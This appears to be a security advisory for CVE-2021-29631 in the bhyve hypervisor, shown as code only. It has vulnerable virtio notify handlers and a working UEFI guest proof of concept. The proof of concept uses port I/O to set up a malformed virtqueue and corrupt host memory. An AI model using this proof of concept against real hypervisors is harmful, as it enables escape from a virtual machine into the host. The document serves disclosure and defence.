GHSL-2021-088_093: Code execution outside the virtualized guest in bhyve - CVE-2021-29631

static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov;
	struct pci_vtrnd_softc *sc;
	struct vi_req req;
	int len;

	sc = vsc;

	if (sc->vrsc_fd < 0) {
		vq_endchains(vq, 0);
		return;
	}

	while (vq_has_descs(vq)) {
		vq_getchain(vq, &iov, 1, &req);

		len = read(sc->vrsc_fd, iov.iov_base, iov.iov_len);

		DPRINTF(("vtrnd: vtrnd_notify(): %d", len));

		/* Catastrophe if unable to read from /dev/random */
		assert(len > 0);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, len);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

#include <uefi.h>

#include <stdbool.h>
#include <stddef.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

#define VQ_QSIZE 0x40

int main(int argc, char **argv)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VIRTIO_PCI_QUEUE_SEL = 0x0e
    outw(0x200e, 0);

    // 2. Initialize the queue to our address.
    // VIRTIO_PCI_QUEUE_PFN = 0x08
    outl(0x2008, 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
    avail->va_idx = VQ_QSIZE + 1;

    // 4. Call pci_vtrnd_notify to trigger a vq_getchain.
    // VIRTIO_PCI_QUEUE_NOTIFY = 0x10
    // pci_emul_io_handler = 0x2000
    // pci_emul_io_handler | VIRTIO_PCI_QUEUE_NOTIFY
    outw(0x2010, 0);

    while (1)
    {
    }

    return 0;
}

static void
pci_vt9p_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov[VT9P_MAX_IOV];
	struct pci_vt9p_softc *sc;
	struct pci_vt9p_request *preq;
	struct vi_req req;
	uint16_t n;

	sc = vsc;

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VT9P_MAX_IOV, &req);
		preq = calloc(1, sizeof(struct pci_vt9p_request));
		preq->vsr_sc = sc;
		preq->vsr_idx = req.idx;
		preq->vsr_iov = iov;
		preq->vsr_niov = n;
		preq->vsr_respidx = req.readable;

		for (int i = 0; i < n; i++) {
			DPRINTF(("vt9p: vt9p_notify(): desc%d base=%p, "
			    "len=%zu\r\n", i, iov[i].iov_base,
			    iov[i].iov_len));
		}

		l9p_connection_recv(sc->vsc_conn, iov, preq->vsr_respidx, preq);
	}
}

static int
pci_vt9p_get_buffer(struct l9p_request *req, struct iovec *iov, size_t *niov,
    void *arg)
{
	struct pci_vt9p_request *preq = req->lr_aux;
	size_t n = preq->vsr_niov - preq->vsr_respidx;
	
	memcpy(iov, preq->vsr_iov + preq->vsr_respidx,
	    n * sizeof(struct iovec));
	*niov = n;
	return (0);
}

static void
pci_vtcon_sock_rx(int fd __unused, enum ev_type t __unused, void *arg)
{
    ...

	do {
		n = vq_getchain(vq, &iov, 1, &req);
		len = readv(sock->vss_conn_fd, &iov, n);

		if (len == 0 || (len < 0 && errno == EWOULDBLOCK)) {
			vq_retchains(vq, 1);
			vq_endchains(vq, 0);
			if (len == 0)
				goto close;

			return;
		}

		vq_relchain(vq, req.idx, len);
	} while (vq_has_descs(vq));

    ...
}

static void
pci_vtcon_notify_tx(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtcon_softc *sc;
	struct pci_vtcon_port *port;
	struct iovec iov[1];
	struct vi_req req;
	uint16_t n;

	sc = vsc;
	port = pci_vtcon_vq_to_port(sc, vq);

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, 1, &req);
		assert(n >= 1);
		if (port != NULL)
			port->vsp_cb(port, port->vsp_arg, iov, 1);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, 0);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

static void
pci_vtscsi_controlq_notify(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtscsi_softc *sc;
	struct iovec iov[VTSCSI_MAXSEG];
	struct vi_req req;
	uint16_t n;
	void *buf = NULL;
	size_t bufsize;
	int iolen;

	sc = vsc;

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &req);
		bufsize = iov_to_buf(iov, n, &buf);
		iolen = pci_vtscsi_control_handle(sc, buf, bufsize);
		buf_to_iov(buf + bufsize - iolen, iolen, iov, n,
		    bufsize - iolen);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, iolen);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
	free(buf);
}

static void
pci_vtscsi_requestq_notify(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtscsi_softc *sc;
	struct pci_vtscsi_queue *q;
	struct pci_vtscsi_request *req;
	struct iovec iov[VTSCSI_MAXSEG];
	struct vi_req vireq;
	uint16_t n;

	sc = vsc;
	q = &sc->vss_queues[vq->vq_num - 2];

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &vireq);

		req = calloc(1, sizeof(struct pci_vtscsi_request));
		req->vsr_idx = vireq.idx;
		req->vsr_queue = q;
		req->vsr_niov_in = vireq.readable;
		req->vsr_niov_out = vireq.writable;
		memcpy(req->vsr_iov_in, iov,
		    req->vsr_niov_in * sizeof(struct iovec));
		memcpy(req->vsr_iov_out, iov + vireq.readable,
		    req->vsr_niov_out * sizeof(struct iovec));

		pthread_mutex_lock(&q->vsq_mtx);
		STAILQ_INSERT_TAIL(&q->vsq_requests, req, vsr_link);
		pthread_cond_signal(&q->vsq_cv);
		pthread_mutex_unlock(&q->vsq_mtx);

		DPRINTF(("virtio-scsi: request <idx=%d> enqueued",
		    vireq.idx));
	}
}